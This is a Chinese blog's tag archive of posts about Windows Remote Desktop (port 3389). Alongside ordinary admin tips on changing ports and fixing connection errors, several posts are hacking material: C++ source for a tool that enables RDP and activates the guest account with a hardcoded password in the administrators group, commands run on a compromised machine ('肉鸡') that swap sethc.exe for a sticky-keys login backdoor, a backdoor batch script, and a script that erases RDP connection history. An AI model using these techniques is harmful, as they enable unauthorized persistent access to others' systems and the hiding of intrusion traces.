Tag Archives: 3389

3389终端命令全集

转载:Mar's Blog http://www.mstmars.cn 1.查询终端端口 xp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp" type tsp.reg 2.开启XP&2003终端服务 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f … Continue reading

Posted in Technology | Tagged , , | Leave a comment

xp下双开3389工具及源码

作者:cooldiyer 来源:红狼 很早时候写的,方便大家用,代码丢了我也可以百度到 编译后,直接运行,XP的终端自动开启激活guest,密码为cooldiyer,加管理员组 并且可以多用户登录 // xp3389.cpp : XP下双开3389的工具 Code By CoolDiyer // #pragma comment(linker, "/FILEALIGN:0x200 /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW") #include "stdafx.h" #include "resource.h" #include #include DWORD GetProcessId(LPCTSTR szProcName) { PROCESSENTRY32 pe; DWORD dwPid; DWORD dwRet; BOOL bFound = … Continue reading

Posted in Technology | Tagged , , | Leave a comment

利用易语言制作3389端口修改器+下载

原文地址:http://blog.sina.com.cn/s/blog_4c4be7690100081l.html pop编译的3389端口修改器 下载地址: http://www.rayfile.com/zh-cn/files/17156557-352a-11dd-a44a-0014221f3995/ http://www.divshare.com/download/3548387-187 pop编译的源码如下: .版本 2 .程序集 窗口程序集1 .子程序 __启动窗口_创建完毕 标签3.标题 = 到文本 (取数值注册项 (#本地机器, “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber”, )) .子程序 _按钮1_被单击 信息框 (“3389端口修改成功”, 0, ) 写注册项 (#本地机器, “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP- tcp\PortNumber”, 到数值 (编辑框1.内容)) 写注册项 (#本地机器, “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber”, 到数值 (编辑框1.内容)) .子程序 … Continue reading

Posted in Technology | Tagged , , | Leave a comment

Windows服务器远程桌面(3389)连接故障的解决方法

出现的提示如下: --------------------------- 中断远程桌面连接 --------------------------- 客户端无法建立跟远程计算机的连接。 导致这个错误的可能的原因是: 1) 远程计算机上的远程连接可能没有启用。 2) 已超出远程计算机上的连接最大数。 3) 建立连接时出现了一个网络错误。 --------------------------- 确定 帮助 --------------------------- 具体的解决办法: 有时候是这个错误提示:由于网络错误,连接被中断,请重新连接到远程计算机 远程连接我肯定是开启了的,防火墙里面3389端口也是打开的,并且连接其他的服务器就可以连接上,说明我本机没问题,用扫描软件,扫描了一下这个服务器,显示IP和端口都是存在的,说明这个服务器网络也没问题,实在没办法,只有不断的测试,后来在系统日志里面看到很多条系统错误信息。其中:严重错误“RDP 协议组件 "DATA ENCRYPTION" 在协议流中发现一个错误并且中断了客户端连接。”引起了我的主要。 几经周折得知这是因为Certificate子键负责终端服务通信中数据信息的认证和加密,它一旦被损坏,终端服务的协议组件就会检测到错误,中断客户机与终端服务器之间的通信。导致Certificate子键损坏的原因很多,如管理员安装和卸载某些系统软件、对终端服务参数的不合理配置等。这时我们需要重置该键值中的内容,才能修复终端服务。      进入注册表编辑器窗口,展开“HKEY_LOCAL_MA CHINE\ SYSTEM\CurrentCon trolSet\Services\TermService\ Parame ters”,找到名为 “Cer tificate”的子键,将它删除,重新启动XP系统或Windows 2000 Server服务器,系统就会重新生成 “Certificate”子键,这样客户端就能正常连接到终端服务器了。   在终端服务器出现无法连接的问题后,我们首先要判断这是不是网络故障引起的,检测远程客户端和XP系统(Windows 2000 Server服务器)是否能够正常连接到网络;然后就要检查终端服务器的加密级别是否设置过高。排除上述原因后,就有可能是“Certificate”子键损坏了。此外,“HKEY_LOCAL _MACHINE\ … Continue reading

Posted in Technology | Tagged | Leave a comment

客户端无法连接到远程计算机的终端服务(3389)解决办法

1、首先确认远程登陆的服务是打开的,也就是Terminal Services服务 右键我的电脑--管理--服务,找到Terminal Services服务,启动这个服务即可 2、开启远程服务 右键我的电脑--属性--远程,勾选“允许用户远程登陆到服务器” 当然也可以在注册表中打开,依次展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server 然后在右栏中找到“fDenyTSConnections”键 双击打开后将该键值修改为“0”,点击“确定”按钮,最后关闭注册表编辑器。 最后远程重启Windows 2003服务器,即可生效

Posted in Technology | Tagged , | Leave a comment

使用注册表修改“远程终端服务”(3389)的端口

打开“开始→运行”,输入“regedit”,打开注册表,进入以下路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Terminal Server\Wds\rdpwd\Tds\tcp 看见PortNamber值了吗?其默认值是3389,修改成所希望的端口即可,例如6111。 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Tenninal Server\WinStations\RDP-Tcp 将PortNumber的值(默认是3389)修改成端口6111。 修改完毕,重新启动电脑,以后远程登录的时候使用端口6111就可以了

Posted in Technology | Tagged , , | Leave a comment

按5次shift的粘滞键利用

pop:网上似乎发了一段时间,我也一直没有多注意,今天测试了一下。呵呵,还蛮好用,不过在登陆不知道是否正的奏效。 在肉鸡上执行命令 copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 以后再连接肉鸡3389,敲5下shift键就可以直接进入了,无需输入密码,只是登陆上去没有任务栏,一直会有密码登陆框,不过够我们做很多事情了,目前win2003测试通过。 似乎2000也可以,XP不行。这两个系统没测试。 不知道有牛人知道是什么道理不. 小道消息:连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ,你把explorer.exe换成sethc.exe 就是自动执行explorer.exe Shift后门TT整理版 来源:TT's Blog 将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~ 然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe 或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~ 哇哈哈哈哈~~~ TITLE Shift后门 代码: @echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo Shift后门 By:TT … Continue reading

Posted in Technology | Tagged , | Leave a comment

用批处理实现删除3389终端服务(mstsc)的登陆记录

1、运行注册表regedit,进入到HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default 项 , 在右边窗口有若干个MRU+数字的数据,删除就可以了 2、然后再删除我的文档(My Documents)下Default.rdp文件,就搞定 默认我的文档的路径是C:\Documents and Settings\Administrator\My Documents Default.rdp一般为隐藏文件,先显示所有文件之后就可以看见了 使用批处理搞定: 将下面的代码保存为 *.bat 的文件(如1.bat),最后双击运行即可 reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f del "%USERPROFILE%\My Documents\Default.rdp" /a

Posted in Technology | Tagged | Leave a comment